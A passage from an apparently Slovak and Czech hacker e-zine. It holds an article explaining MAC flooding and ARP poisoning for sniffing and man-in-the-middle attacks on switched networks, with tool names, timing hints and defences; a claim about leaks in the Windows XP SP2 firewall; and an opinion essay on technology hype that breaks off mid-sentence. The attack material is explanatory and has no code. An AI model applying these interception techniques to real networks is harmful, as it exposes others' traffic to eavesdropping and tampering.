    Okrem slabej bezpecnosti sa hub vyznacuje slabou priepustnostou. Ked mame do
    10 Mb hubu zapojenych 8 uzivatelov (PC-a, PC-b, ... PC-g, PC-h), ktore si
    navzajom vymienaju data (PC-a "iba" s PC-b, PC-c "iba" s PC-d, ...), vsetkym
    styrom dvojiciam ide prenos max. 2.5 Mb.


    Narozdiel od hubu, switch je "inteligentnejsi". Pokial pocitac PC-a posle
    paket pre pocitac PC-b, paket je poslany iba pocitacu PC-b. Tym sa zvysila
    priepustnost medzi jednotlivymi pocitacmi zapojenymi do swichu a navyse
    utocnik pocuvajuci na pocitaci PC-c sa nedostane k datam, ktore prudia medzi
    pocitacom PC-a a PC-b. I ked ma kartu v promiskuitnom rezime, neodchyti nic
    (okrem svojich paketov a par "broadcastov"), lebo pakety sa nedostanu na jeho
    kabel. Teda pokial im k tomu nepomoze... ;]


    Teraz trochu teorie, ako pracuje switch. Kazdy pocitac ma svoju IP adresu.
    Okrem IP adresy ma kazda sietova karta svoju jedinecnu MAC adresu. MAC adresa
    je 48 bitov dlha jedinecna adresa, ktora je vyrobcom 'napalena' do kazdej
    sietovej karty. Niektore ovladace umoznuju softwarovo tuto adresu menit, jedna
    sa vsak o softwarovu zmenu a zaznam vo flash zostava nezmeneny.


    Vo vseobecnosti, MAC adresy su pouzivane na 2. vrstve zatial co IP adresy su
    pouzivane na 3. vrstve. Niekto by sa mohol spytat, naco su MAC adresy, ked
    stacia IP adresy. Odpoved je jednoducha, IP adresy su sucastou IBA protokolu
    IP, zatialco MAC adresy su o vrstvu nizsie, cize su pouzitelne aj pri inych
    protokoloch. Pri IPX/SPX komunikacii neexistuju IP adresy, ale MAC ano.


    A prave na zaklade tychto MAC adries switch rozlisuje, komu posle ktore data.
    Switch ma vlastnu tabulku, ktora MAC adresa sa nachadza na ktorom porte.
    Taka tabulka moze vyzerat napr. takto:



    port 1: aa-aa-aa-aa-aa-aa
    port 2: bb-bb-bb-bb-bb-bb
    port 3: cc-cc-cc-cc-cc-cc


    (predpokladame, ze PC-a ma MAC adresu aa-aa-aa-aa-aa-aa,
    PC-b bb-bb-bb-bb-bb-bb, ...)


    Ked posle PC-a paket pre PC-b, switch skontroluje cielovu MAC adresu
    (bb-bb-bb-bb-bb-bb) s tabulkou a posle to na port 2.


    Ako vsak moze PC-a vediet MAC adresu PC-b? Predpokladame, ze PC-a vie IP
    adresu PC-b. Na zistenie MAC adresy z IP adresy sluzi tzv. ARP protokol.
    PC-a vysle ARP paket, ktory obsahuje nieco ako otazku: "Tu PC-a s MAC adresou
    aa-aa-aa-aa-aa-aa, hladam PC-b, aku mas MAC adresu?". Tento paket posle na MAC
    adresu ff-ff-ff-ff-ff-ff (broadcast) a switch ho rozposle na vsetky porty.
    (Ano, tento paket moze utocnik na PC-c odchytit, ale je mu nanic). PC-b z ARP
    paketu vie MAC adresu PC-a, odpovie mu so svojou MAC adresou a uz komunikuju...


    Moznosti utoku:


    MAC flooding:


    Switch si tabulku MAC adries vytvara podla zdrojovej MAC adresy. Ak utocnik
    vysle vhodny paket, switch si bude mysliet, ze pocitac s MAC adresou
    bb-bb-bb-bb-bb-bb sa nachadza na porte 3, upravi svoju tabulku a vsetky data,
    ktore bude posielat pocitac PC-a pocitacu PC-b sa dostanu k pocitacu PC-c.
    Toto bude fungovat, pokial pocitac PC-b nevysle daky paket a switch si nezmeni
    tabulku naspet. Pokial budeme 'falosne' pakety posielat dostatocne casto,
    switch usudi, ze nevie, kde je pocitac s mac adresou bb-bb-bb-bb-bb-bb a bude
    fungovat ako hub. Tato technika funguje iba na niektorych switchoch a vzhladom
    na velky pocet potrebnych falosnych ARP paketov je aj lahko detekovatelna.
    Ja osobne som tuto techniku neskusal, nakolko nasledujuca sa mi zda vhodnejsia
    a elegantnejsia.


    ARP poisoning:


    Pointa tejto techniky spociva v myslienke presvedcit pocitac PC-a, ze pocitac
    PC-b ma mac adresu cc-cc-cc-cc-cc-cc. Vtedy vsetky data, ktore bude chciet
    poslat pocitac PC-a pocitacu PC-b prijdu pocitacu PC-c. Samozrejme je potrebne,
    aby PC-c nasledne preposlal vsetky pakety pocitacu PC-b, inac by sa zrusili
    vsetky spojenia. Takymto sposobom dokaze utocnik pakety nie len odchytavat,
    ale dokaze ich aj modifikovat (tzv. man in the middle), co je z hladiska
    bezpecnosti este vacsie riziko, ako "iba" sniffovanie.


    Sposob ako presvedcit pocitac PC-a, ze pocitac PC-b ma mac adresu
    cc-cc-cc-cc-cc-cc je jednoduchy. Staci mu poslat 'spoofnutu' ARP odpoved,
    kde 'akoze' PC-b oznamuje pocitacu PC-a, ze jeho mac adresa je
    cc-cc-cc-cc-cc-cc. Rovnakym postupom dokaze 'presvedcit' pocitac PC-b, ze
    pocitac PC-a ma mac adresu cc-cc-cc-cc-cc-cc a tym dokaze odchytavat (ak bude
    chciet aj modifikovat) vsetku komunikaciu medzi PC-a a PC-b. Zaznamy v ARP
    tabulkach vsak maju obmedzenu casovu platnost. Ak sa dlhsiu dobu PC-a
    nekomunikuje s PC-b, vymaze zaznam o MAC adrese. Pri naslednom pokuse o
    komunikaciu vysle ARP request a dostane odpoved od 'original' PC-b. Preto je
    potrebne tieto 'falosne' ARP pakety posielat v istych casovych intervaloch.
    Z pozorovani som usudil, ze staci interval 1 minuta.


    stav pred utokom:



    ------ data ------
    | PC-a | ------------------------------------- | PC-b |
    ------ ------
    arp tabulka: arp tabulka:
    PC-b: bb-bb-bb-bb-bb-bb PC-a: aa-aa-aa-aa-aa-aa
    PC-c: cc-cc-cc-cc-cc-cc PC-c: cc-cc-cc-cc-cc-cc


    stav po (pocas) utoku:



    ------ data ------
    | PC-a | ---------------+ +--------------- | PC-b |
    ------ | | ------
    arp tabulka: | | arp tabulka:
    PC-b: cc-cc-cc-cc-cc-cc | | PC-a: cc-cc-cc-cc-cc-cc
    PC-c: cc-cc-cc-cc-cc-cc | | PC-c: cc-cc-cc-cc-cc-cc
    | |
    | |
    ------- arp tabulka:
    | PC-C | PC-a: aa-aa-aa-aa-aa-aa
    ------- PC-b: bb-bb-bb-bb-bb-bb


    Tato technika funguje na vsetkych beznych switchoch, nakolko switch si mysli,
    ze paket posiela tam kde ma (rozhoduje MAC adresa).


    Prax:


    Tieto techniky su zname uz dlhsiu dobu a primerane tomu existuje vela
    programov, ktore umoznuju taketo odchytavania. Pre linux stoji za zmienku
    `dsniff`, ktory obsahuje arpspoof pracujuci opisovanym sposobom. Program,
    ktory by nieco podobne robil na systeme windows som nenasiel, ale pre
    priemerne skuseneho programatora nie je problem takyto program napisat. Mne
    osobne trvalo napisanie toho programu zhruba 7 vecerov... Zaujemcom
    programatorom odporucam pozriet si kniznicu winpcap, ktora zabezpecuje sietovu
    komunikaciu. Staci uz len posielat ARP-y a vhodne preposielat...


    Obrana:


    Ciastocnym riesenim su VLAN-y, ktore su vsak nastavitelne iba na tych
    'drahsich' konfigurovatelnych switchoch.


    Inym sposobom obrany je nastavenie statickej ARP tabulky na vsetkych
    pocitacoch. Vtedy bude system ignorovat vsetky ARP pakety a bude pouzivat data
    zo svojej tabulky. Na linuxe to fungovalo bez problemov, vo windowsoch i
    napriek statickym zaznamom po prichode falosneho ARP paketu zmodifikoval
    tabulku... (linux rulez :]) Staticke tabulky su samozrejme nepouzitelne pri
    vecsich sietach, kde je pri lubovolnej vymene sietovej karty potrebne rucne
    modifikovat vsetky tabulky na vsetkych pocitacoch...


    Zaver:


    Sniffovanie na switchovanej sieti je mozne. Prepinana siet je dokonca z
    hladiska bezpecnosti relativne menej bezpecna, ako hub. Relativne preto, lebo
    umoznuje nebezpecnejsie utoky, ktore vsak vyzaduju hlbsiu znalost tejto
    problematiky a preto nie su tak rozsirene...


    Mathew, mathew (zavinac) hysteria (bodka) sk


    navrat na obsah

    co ty na to ? board




    zabezpeceni trochu jinak


    Jak jest dobrym zvykem, jedna oblibena firma neustale vydavajice opravne
    balika, patche a zaplaty na predchozi opravy jiz opravovanych oprav
    zavlecenych chyb neotestovala spravnym zpusobem firewall v XP SP2. Coze
    to dela za zajimavou cinnost ?


    Vezmeme si cista XP, nainstalujmez opravu oblibenou produktovymi managery
    jedne velke a bohate spolecnosti, vezmemez si libovolny analyzator
    paketu a testujmez divotvorne veci, jenz se zcista jasna zacnou dit ;o)


    Vlastnost cislo 1:


    Po nainstalovani SP2 a nakonfigurovani firewallu je mozne se pripojit
    zvenci na libovolny port, kde bezi sluzba kterou hledame. Pokud je tato
    sluzba blokovana - priklad FTP protokolu, stejne dojde k navazani
    spojeni a zaslani nekolika paketu obema smery. Podle rychlosti stroje
    dojde k prenosu 3-8 paketu. Coz bohate staci na vylistovani adresare
    FTP.


    Vlastnost cislo 2:


    Pokud tento port neni blokovan, hluboke zamysleni systemu a zobrazeni
    varovneho hlaseni se objevi vetsinou mezi 5-8 paketem. Kaminek urazu,
    ktery se zde objevuje - dokud uzivatel neda explicitne zakazat toto
    spojeni, komunikace bezi dal, sosame a slidime, dokud je nam uzivatel
    priznive naklonen. Samozrejmne, uzivatel neznaly varovnych okenek pokud
    uvidi jakousi smesnou hlasku stylu - chces povolik komunikaci - vetsinou
    klepne na ano nebo stisken klavesu ESC, coz ma stejny vysledek.


    Takze jak jest dobrym zvykem, nejlepsi je u uzivatelu pouzivat i nadale
    overene a fungujici firewally. Bohuzel, zatim se mi nepodarilo najit
    klic v registrech, ktery by dokazal odstranit uzivatele neustale
    znervoznujici hlasky na tema - tento pocitac neni zabezpeceny. Jako by
    software ktery je dodavany spolu s SP2 tomu nejak vyrazne mel prispet.


    Z jineho soudku:
    V dobe vydani SP2 se objevily jiste upravy microsoft update webu. Pokud
    se chce nekdo dostatecnym spusobem pobavit ci zhrozit, doporucuji
    podivat se na to co beha po siti za data v okamziku testovani moznych
    novych update. Ne nahodou zmizelo takove upozornovani "... behem teto
    cinnosti nebudou zasilan zadna data ..."


    Derelict, derelict (zavinac) hysteria (bodka) sk


    navrat na obsah

    co ty na to ? board




    preco nas buducnost potrebuje


    Tento clanok sa snazi ukazat, co sa moze stat v snahe o uskutocnenie vizii
    v clanku s podobnym nazvom.
    Treba sa naucit pozerat na akykolvek problem z nadhladu, vzdy vidiet celkovy
    pohlad na vsetko okolo. Vascina ludi nanestastie vidi len ten svoj maly
    stvorcek pod sebou.


    Technologie - uspavajuca hudba buducnosti


    Prvy bod kritiky: VSETCI publikovani vedci a vyskumnici tvrdia, ze v ICH
    odbore COSKORO nastanu PREVRATNE zmeny a bude to VYZNAMNYM prinosom.
    Otazky: Snazia sa kvoli uskutocneniu svojej vizie len predat svoj produkt?
    (predaj produktu := ciel vizie) Dostali by grant na vyskum, keby toto
    netvrdili?
    Mali by rovnako velku podporu, keby povedali, ze vysledky vizii budu az o 80
    rokov, a nie o 20-30 rokov t.j. za ich zivota? Boli rovnake sluby v mode
    aj poslednych 50 rokov? Naplnili sa?


    Ked sa blizili 90. roky, bol som skluceny. Zacinalo mi byt divne, ze vsetky
    novinky slubovane pocas 20 predchadzajucich rokov sa nejako nepriblizuju.
    "Ved len o 10 rokov bude rok 2000 a budu antigravitacne auta, jazdiace na
    vzduch alebo vodik a budu tu ine tie prezentovane veci z DALEKEJ BUDUCNOSTI
    roku 2000." (Do roku 2000 po prevrate prisli sice nejake tie diare a PDA,
    ale nebolo to nic z toho co by ste mohli vidiet na obrazku roku 2000
    z rokov 1970-1980.) Zacinal som mat zly pocit z toho, ze sa tieto veci asi
    nenastanu. "V blizkej buducnosti budu cesty do vesmiru rovnako caste a
    jednoduche ako dnes cesta lietadlom." (skutocny citat) Taketo tvrdenia
    zaplavovali media pred patdesiatimi rokmi rovnako ako dnes. Tiez sa nemozno
    spolahnut na to, ze "od roku 2000 budeme vyrabat energiu vo fuznych
    elektrarnach", pretoze to svetove kapacity tvrdili v roku 1950 a neskor.
    V roku 2000 tvdili znova: "V roku 2050 bude mozne vyrabat energiu fuznou
    cestou."


    Takze ak zoberiem lubovolny slub a budem ho opakovat s kadenciou 1 za 40 rokov,
    moj vyskumny ustav ma prezitie zarucene. Aspon dufam. Pre istotu toho budem
    tvrdit viac.


    Je absurdne, ze to vobec cele funguje.


    Cena - cena za pokrok


    Na financovanie zariadeni a vedcov potrebnych na vyskumy je potrebny funkcny
    ekonomicky retazec. Vedec tvori, priemysel vyraba a spotrebitel kupuje.
    Takyto retazec umoznuje investovat do vyskumu. Oblasti vyskumu sa s casom
    mierne rozsiruju. Pocet vyskumnikov ale narasta rychlejsie aby novinky
    radovo zlozitejsie (priklad I4004 -> Pentium4 po dnes,
    alebo Hercules ->
    Radeon 9800) mohli prichadzat v pravidelnych casovych intervaloch a tvorit
    ekonomicky stimul. Su predpoklady pre trvaly vznik dalsich tisicov vedeckych
    odbornikov, alebo nam chybaju uz dnes? Skutocne je tu dostatocna vedecka
    zakladna na VSETKY tie vizie?


    Spotreba obyvatelov tejto planety zakonite rastie - v mene pokroku.
    Venujme sa len energetickej spotrebe. Nielen spotrebe fosilnych paliv,
    ktorych sa v USA spotrebuje 50% svetovej spotreby. Vsetky zariadenia,
    ktore clovek vyrobil potrebuju energiu,
    ci uz pocas prevadzky alebo tiez vyroby.


    Vznikaju otazky: Ake je mnozstvo volnej tepelnej energie, ktorym obstastnujeme
    tuto planetu? Ake je maximalne mnozstvo, ktore si mozeme dovolit dlhodobo
    uvolnovat? Venujme sa prvej otazke. Z jednej starsej schemy vidno, ze v
    pomere 100% k energii dodanej planete Zem Slnkom je z ludskej cinnosti 0,005%,
    z geotermalnej 0,02%. Na fotosyntezu sa spotrebuje 0,1%, na vietor 2% slnecnej
    energie. Ulozena mrtva organicka hmota (buduce fosilne paliva) tvori 0,004%
    energie dodanej slnkom. Tieto cisla by ukazovali na 25% prekrocenie trvale
    udrzatelnej spotreby, ale... Spotreba paliv / produkcia volnej tepelnej
    energie stale rastie, azda linearne s casom. Sucasnym tempom mozeme ocakavat
    dvojnasobnu spotrebu paliv v rozpati rokov 2020-2030. Popritom sa ale v 1991
    na svetovej konferencii v Rio de Janeiro zavazne dohodlo znizovanie spotreby
    fosilnych paliv (a tym aj produkcie) na 50% spotreby roku 1991. Zacali sa kvoli
    tomuto hromadne vyuzivat obnovitelne zdroje? (Pripadne jadrove elektrarne ;))
    Alebo bojuje kazdy stat za seba a svoje zaujmy? Slovensko dnes stoji na strane
    tych "dobrych", lebo sa o to administrativne staraju ludia ktorym na tom
    zalezi. Skoda len, ze na nas nezalezi.


    Je absurdne, ze to vobec cele funguje.


    Setrenie


    Kolko zdrojov planety usetrim ak kupim 1.4m^2 solarny panel dodavajuci 100W
    elektrickej energie, ak sa kremik samotny vyraba metalurgickym procesom, ktory
    spotrebuje kilogramy zemneho plynu a dalsich zdrojov planety? Co v skutocnosti
    setrim? Pouzijem aj akumulatory? Aku maju zivotnost, udrzbu? Ako a KTO ich
    spracuje po dobe zivotnosti? Nezaujima ma to?


    Kolko zemneho plynu, vody a vzduchu treba na 10x10mm plochy high-tech
    kremikoveho produktu, alebo napriklad na 256, 512 MB DIMM? Zagooglite,
    v agenturach bola tato sprava. Ohromny udaj. (kilogramy ropnych ekvivalentov
    a hektolitre vody) Nasa narocnost na spotrebu musi klesnut a zivotnost stupnut;
    tiez vyuzite, optimalizacia dostupnych kapacit pocitacov by malo byt lepsie.
    ("Oh, look at that fancy colourful 3-D screensaver running on my computer
    for days!")


    Vela reci o obnovitelnych zdrojoch, ale ziadne kroky. "Budeme jazdit na vodik!"
    Viete ako sa priemyselne, vo velkom, vyraba lacny vodik? Elektrolyzou? KDEZE!
    To by mal cenu aspon 2x vacsiu ako elektricka energia. Ako teda? Rozkladom
    metanu - zemneho plynu. Takto sa tiez ziska uhlikovy prasok roznych
    charakteristik ako plnivo do pneumatik a mnohe ine ucely. Taktiez je relativne
    lacny a ma vysoku zakladnu cistotu.


    Existuje vobec prirodzena cesta? Ano. To, co sa dopestuje "na poli" mozno
    pouzit ako palivo. Mozno to premienat reakciami. (oxid uholnaty, metanol;
    etanol, bionafta a pod. [hoci motory ju neznasaju]; pomocou syntezy sa da
    vyrobit aj 100% ekvivalent sucasnych motorovych paliv, ak by bolo treba.)
    Spalne produkty - najma oxid uhlicity - musia byt opat v potrebnej miere
    vstrebavane touto planetou. Mame tu opat svetove zelene plochy (a oceany)
    a to, co pestujeme s pomocou slnecnej energie. Voila, kruh sa uzatvara.
    S malym obmedzenim. Mnozstvo toho co dopestujeme a vytazime je obmedzene
    prisunom energie zo slnka. Ked sme u toho: Kde sa vyrobi vacsina kysliku
    planety? Vo svetovych moriach, samozrejme. Ako su na tom? Zle. Navyse je to
    tam samy sajrajt, lebo to nema kto strazit. A tiez im neprospieva globalne
    oteplovanie a niektori sa obavaju ze klimaticke zmeny vazne ohrozia ich
    doterajsiu funkciu.


    Je absurdne, ze to vobec cele funguje.


    Hranice moznosti - ako ich obist?

    (Trafime nitou do ihly?)


    Venujme pozornost niekolkym faktom ktore poukazuju na to, ze by sme kontinualny
    rast vykonu a obsahu v pocitacovej oblasti nemali brat ako uplnu samozrejmost.


    Zlata doba polovodicov bola dovtedy, pokial sa zmensovanie prvkov pohybovalo
    nad hranicou 1 mikrometra. Islo to jednoducho a bez problemov. S urcitou
    pomocou sa dala opticka litografia a jednoduche zmensovanie pouzit do velkosti
    asi 0.5um.


    Velkosti pod tento rozmer sprevadzaju nespocetne prekazky pri navrhu a vyrobe,
    samozrejme, prekonavame ich pokrokom vo vede a vyskume, zlozitejsimi a
    drahsimi fabrikami a zlozitejsimi a drahsimi vyrobnymi postupmi. Cena
    litografickych masiek je asi milion USD pre najnovsie technologie a len
    niekolko 10-tisic USD pre 2um masky.


    Pamatate si na zaciatok 90.-tych rokov? To bolo reci, ze dalsi pokrok (najprv
    na 1um, potom ze pod 1um) bude mozny len so zavedenim elektronovej alebo
    roentgenovej litografie. Rentgeny aj elektronova litografia nemaju v masovej
    vyrobe miesto a zda sa, ze sa tam nikdy ani nedostanu.


    Dosiahnuty pokrok mozno povazovat za skutocny uspech, ako i to, ze dnesny
    tranzistor "napadne pripomina suciastky vyrobene pred 30 rokmi", a tiez ze
    su tu sposoby ako sa dostat k hranici odleptavania a manipulacie po
    jednotlivych vrstvach molekul a atomov, da sa hovorit o pokracovani po 30nm
    sirku ciary v roku 2014, ale kto si mysli ze prechodom z 250nm technologie na
    125nm technologiu dosiahne stvornasobnu hustotu komponentov je na velkom omyle.
    Niekedy sme radi, ak zo zdvojnasobenia teoretickej hustoty prvkov (sirka z 0.36
    na 0.25) dosiahneme aspon 50% narast v hustote tranzistorov.


    Navrh pamati ma oproti navrhu vseobecnych logickych obvodov vyhody, ktore
    umoznuju dobre vyuzitie novych technologii pretoze sa pouzivaju opakujuce sa
    rovnake prvky.


    Navrh inych logickych obvodov sa stretava s obtiazami spojenymi s navrhom,
    aplikaciou a vyrobou v podstatne vacsej miere.


    Dovodov je viacero: odpor vodicov spajajucich jednotlive tranzistory zacina
    byt neunosne vysoky, prenos signalu otazny, struktury napajania obvodov
    zacinaju byt tazko vypocitatelne. Ako sa jednotlive vodice priblizuju k sebe,
    kapacitna a induktivna vazba sposobuju, ze sa ich signaly zacinaju navzajom
    rusit. Da sa to osetrit, ale stoji to cas a priestor. (Napriklad jeden model
    Athlonu nedavno meskal ~9 mesiacov.) Dalsi priklad: Tranzistor v 1um
    technologii mal dobu reakcie 20ps a 1mm dlhy vodic mal odozvu pre sirenie
    signalu 1ps. Pre 0.1um technologiu: tranzistor 5ps, 1mm vodic 30ps. Pre 35nm
    technologiu v 2011-2014: tranzistor 2.5ps, 1 mm prepojenie 250ps. Planovane
    frekvencie ~3.6-13.5 GHz.


    Dalsi zabijak: Difuzia atomov bola, je, a bude, a pri zmensovani prvkov prave
    na atomove velkosti prinasa nove problemy s vyberom materialov a zivotnostou
    vyrobenych suciastok. Navyse sa tu pridava elektromigracny efekt, kedy difuziu
    atomov urychluje napatie. Rovnake napatie na polovicnej hrubke - dvojnasobna
    sila elektrickeho pola. Pri 10-2um technologiach to este nikoho netrapilo.
    A ani nemuselo.


    Tlak na vyrobcov sposobil, ze informacie o pouzitej vyrobnej technologii je
    tazke ziskat, alebo su uplne nepravdive. "I asked him which form of
    lithography might be used at the 32- and 22-nanometer nodes. Progler, who once
    managed IBM's optical-lithography development, laughed and said he thought
    the whole idea of "nodes" on the road map would "diffuse away" after the 65-nm
    generation." Chris Progler po preskumani desiatich 90-nm produktov zistil,
    ze boli vyrobene litografiou s rozlisenim od 110 do 170 nm a "ziadny z nich
    nemal nikde 90-nm konstrukciu". Ako sa to stalo? Marketing zadefinoval
    technologiu ako "(zakladnu sirku ciary 120nm + sirka (dlzka) podleptaneho
    hradla 60nm ) deleno 2 = 90nm".


    Bude pokrok mozny aj nadalej? Dake riesenia do buducnosti by boli, ale...
    este nie su a povazovat komplikovanu vec za vybavenu skor ako sa na nu
    poriadne pozrieme je chybne (vid uvody o 90. rokoch). Napriklad: V MIT
    demonstrovali opticke prepojenie vzdialenejsich miest na suciastke, co by
    v buducnosti mohlo byt napomocne pri budovani najrychlejsich procesorov a
    podobnych suciastok s > 100 mil. tranzistormi. Ale je tiez mozne, ze tento
    pekny napad bude mat realizacne prekazky a pojde sa inou cestou.


    Problemom zostava: Uzsie, kratsie alebo tensie ako jeden atom alebo molekula
    to predsa byt nemoze. Uz pri 90nm technologii je hrubka izolantu pod hradlom
    len niekolko molekulovych vrstiev. Je dufam kazdemu jasne, ze v ziadnom zo
    100 milionov tranzistorov procesoru nesmie byt defekt na tomto mieste. Pre
    zmensovanie dodnes bolo nutne vytvorit nove struktury tranzistorov a vyhladat
    nove materialy. Pritom castokrat zmensenie neznamena umerne zvysenie hustoty
    tranzistorov, ale aspon vyssie maximalne rychlosti.


    Zostrucnim: takzvane "low-k" a "high-k" dielektrika a naparene medene
    prepojenia su nutne pre dalsie zvysovanie vypocetneho vykonu. Dielektrika s
    malou permitivitou - umele hmoty - sa pouzivaju ako izolant oddelujuci
    substrat a prepojovacie vodice navzajom, ich zakladom je obvykle polyimid,
    vyvinute v IBM. Dielelektrika s velkou permitivitou maju nizsiu ekvivalentnu
    elektricku hrubku v porovnani s oxidom kremicitym, ich pouzitie bude sluzit ako
    izolant medzi hradlom a kanalom. Intenzivne sa skuma niekolko variant,
    pretoze ich potreba je urgentna. Co sa tyka inych polovodicov, kazdy ma svoje
    specificke miesto. Napriklad GaAs ma titul: "Arsenid galia je perspektivnim
    materialem budoucnosti. A navzdy nim zustane." Novovyvinute SiGe technologie
    drtia GaAs na celej ciare (IBM a Infineon [Siemens Semiconductor]). Ostava
    este niekolko perspektivnych polovodicov (omnoho rychlejsich, ale nevhodnych na
    masovu vyrobu), ale ich masove komercne vyuzitie sa
    blizi velmi, velmi pomaly (hoci rast tam je).


    Pre technologie blizkej a dalekej buducnosti (hranica 2011-2014) je treba
    navrhnut uplne nove typy konstrukcii pocitacov, alebo recyklovat sucasne
    konstrucie. Dovodom je velka zotrvacnost sposobu vyvoja softwaru a noveho
    myslenia pre navrh programov, taktiez otestovanie a navrh uplne novych
    konceptov trva dlho. Jeden navrh hovori uskupeni na 20x20mm platku, kde ma
    byt SMP s 16 procesormi na 10GHz, 4GB RAM a "konektor" na externe prepojenie.
    Pouzite procesory su len recyklovane POWER4, vyvijane a pouzivane uz asi 10
    rokov. Toto by s podpornymi obvodmi mohlo byt v "kocke" 20x20cm a z tychto
    by sa dala vyskladat "stena". 8x8 blok by daval 20Tflops a 256GB RAM.
    Spotreba do 10-20kW. Dinosaurie pocitace sa vracaju. Aj pre tento
    najjednoduchsi pristup recyklacie technologii autori priznavaju:
    vyvoj bude stat vela penazi a to
    este musi vsetko ist podla planu! Nutnostou bude vyvinut a zaviest technologie
    ktore si budu sami testovat (neustale, run-time!) svoju funkcnost a obchadzat
    nefunkcne bloky, ktore budu bud pod vplyvom okolnosti alebo pod vplyvom casu
    "vypadavat".


    To, ze sa uz v 1985. sa zacala era nanotechnologii, ked daky vedec poskladal
    z 35 atomov xenonu napis IBM, nam podnes neprinieslo nich hrozostrasne
    prevratneho. To ze to bude uz pomaly 20 rokov nieco napoveda o tom co by sme
    realne mohli ocakavat o dalsich 20 ci 40 rokov. Mozno sa uz vtedy dockame
    nejakych schopnejsich prejavov nanotechnologii, ako to je v clanku
    "Preco nas buducnost nepotrebuje",
    teda ak nas dovtedy neznicia zmeny pocasia, kedze hospodarske straty a skody
    sposobene pocasim nemienia klesat, iba rastu. Mimochodom, viete co sa stalo,
    ked vyvinuli nove osivo s vyssimi vynosmi ktore by malo pomoct africkej
    ekonomike? Cena danej obilniny poklesla, takze vsetci ti africki farmari
    ktori si toto super osivo nemozu dovolit isli este nizsie so ziskom.
    A okrem toho toto osivo ma vyssie vynosy v miernych pasmach, ako napriklad v
    USA. A to nie je ziadna vynimka ako zaver uspesneho vedeckeho pokroku.
    Na tejto planete je to skoro pravidlom.


    V roku 1999 bol vedeckym kruhom predstaveny vysledok projektu Milipede, ale
    ani 5 rokov po tom sme nevymenili nase harddisky za Milipedy. Nanotechnologie
    sa rozvijaju, rozmahaju a aplikuju, ale nieze by sa chystali nas pohltit.
    Jednoducho existuju ako sucast veci, ktore sme denne pouzivali aj pred ich
    zavedenim. A takto to BUDE aj nadalej.


    Z ineho konca: V jednu chvilu isty vyskumnik z IBM varoval: Uhlikove nanorurky
    v praxi nikto zatial nepouzil a zda sa, ze vobec coskoro ani nepouzije, zatial
    co sa media predbiehaju vo vychvalovani tejto technologie. Sam sa priznam,
    ze koncom 2003 som tiez pocul od kolegu v praci, ze sa dnes bezne pouzivaju
    nanorurky v tranzistoroch (Pentiach) a nieco v zmysle,
    ze to je jednoduche ako facka.
    Kedze ti co vyrobili a predstavili tranzistor s hradlom z uhlikovej nanorurky
    boli z IBM a zaroven nas varovali aby sme nekricali HOP!, zakial nepreskocime,
    mali by sme sa spravat zodpovedne a nechvalit rano pred vecerom. Plati to aj
    pre novinarov s modrou knizkou a dekadicky dvojcifernym IQ.


    Pripomeniem este vysledky nedavneho uspesneho pokusu o vytvorenie molekularnych
    logickych obvodov (oktober 2002). Trvalo par hodin, kym naskladali z molekul
    oxidu uholnateho domino ktore idu otestovat a potom sa dalo pouzit iba raz.
    Ustalenie vysledku na vystupe trvalo najviac niekolko sekund. Niet sa co divit,
    pri teplote 4-10 Kelvinov a ultravysokom vakuu by sa vam tiez nechcelo hybat,
    ani keby to bolo len 17 nanometrov. Maju vyhliadnute aj ine metody spracovania
    signalu na atomarnej urovni, zatial bez konkretnych vysledkov (obvodov).


    Je absurdne, ze to vobec cele funguje.


    Vsuvka


    Mnozstvo investicii ktore v USA vlozili do jadrovych vybuchov dosiahlo celkovo
    3.5E12 USD. Pravda, urychlilo to dakym sposobom jadrovy vyskum, ale stali
    vysledky za tu cenu? Ludstvo by mohlo byt ovela dalej ako dnes, s mensimi
    nakladmi, ak by bol svet ako system spravne a efektivne funkcny. A sme tam
    kde predtym. Nie su to technologie co nutne potrebujeme, nie su to technologie
    co nas obmedzuje, je to vsadepritomny system spolocenskeho zriadenia
    napriek, alebo skor prave kvoli snaham vylepsit alebo zhorsit ho. Americania
    ospevovali demokraciu, rusi komunizmus, my socializmus. Dnes americania
    tvrdo zastavaju komunisticke idealy, nazory a postupy, cinania zase zavadzaju
    tvrdy kapitalizmus (vykoristovanie robotnikov ;)). Celkovo nikto nevie co je
    vlastne dnes cierne a co biele, vsetko zanika pod roznymi odtienmi sedi. A
    sedych ludi nezaujimaju fakticke rozdiely. Zhltnu to co im date.


    Je absurdne, ze to vobec cele funguje.


    Peniaze - relativna velicina, ktora sa predava a kupuje


    Suhrn dlhov vsetkych statov je mnohonasobne vacsi ako prijmy vsetkych statov
    sveta. To nie je len SR, CR, Nemecko, USA a Japonsko. Vsetci. (Japonsko ma
    zahranicny dlh priblizne 10^15 yen, dnes sa odhaduje na 160% HDP.) Peniaze v
    medzinarodnych pozickach su len akousi vzajomnou zarukou, "akciami" statov a
    predmetom vymenneho obchodu.


    Peniaze v medzinarodnom meradle su LEN dalsim tovarom na trhu. Po 11.
    septembri vznikla otazka, ci tento celosvetovy (alebo aspon americky)
    galimatias spadne ako pred 2. svetovou vojnou, ale - stastie nas vsetkych -
    svetovy trh sa zachoval rozumne. ("Cely svet stoji na nasej dovere.")
    Mimochodom,
    cim su kryte bankovky SR? Zlatom a statnymi ceninami ako za CSSR? Nie, len
    nasou doverou - tym, ze ich pouzivame. To urcuje ich prakticku hodnotu.


    Vsetci zijeme na dlh. Autor a osobnosti v clanku "Preco nas buducnost
    nepotrebuje" predpokladaju vyvoj udalosti pri pokracujucom nerusenom vyvoji
    ekonomiky sveta a neobmedzeneho rastu. Avsak, dokedy mozeme len brat bez toho
    aby sme aj patricne vracali odplatu? Az pokial jedneho dna nevyjde slnko?
    Pokial sa cast Beneluxu a cast Nemecka neutopia? Pokial nebude co jest kvoli
    suchu alebo zaplavam? Pokial nebude v lete snezit len 1 den ale rovno dva
    tyzdne? (Nedavno v Nemecku veselo snezilo.)


    Vazeni, tato planeta nas ma uz aj tak plne zuby. Je nacase uzavriet s nou
    mier, lebo ked sa na***ie tak bude s nami zle. My musime zaviest sposoby
    trvale udrzatelneho rozvoja. Odborne studie o tom co, kedy a ako treba urobit
    su spravene, ale Bushova administrativa a po nich aj Putinova sa rozhodli toto
    znova neprijat ('nas by to obmedzilo a preto je to zly napad'). ZMENA sa zacina
    Kjotskym protokolom. TATO planeta si poradi aj bez nas. Ale co si pocneme MY
    bez nej?


    Je absurdne, ze to vobec cele funguje.


    Upozornujem, ze nepodporujem ziadnych eko-aktivistov s prazdnymi hlavami, ani
    vizionarov nanotechnologie, mal som len v umysle poukazat na to, ze uz dnes
    zijeme na hranici moznosti a bez hladania rovnovahy a ustupkov na NASEJ strane
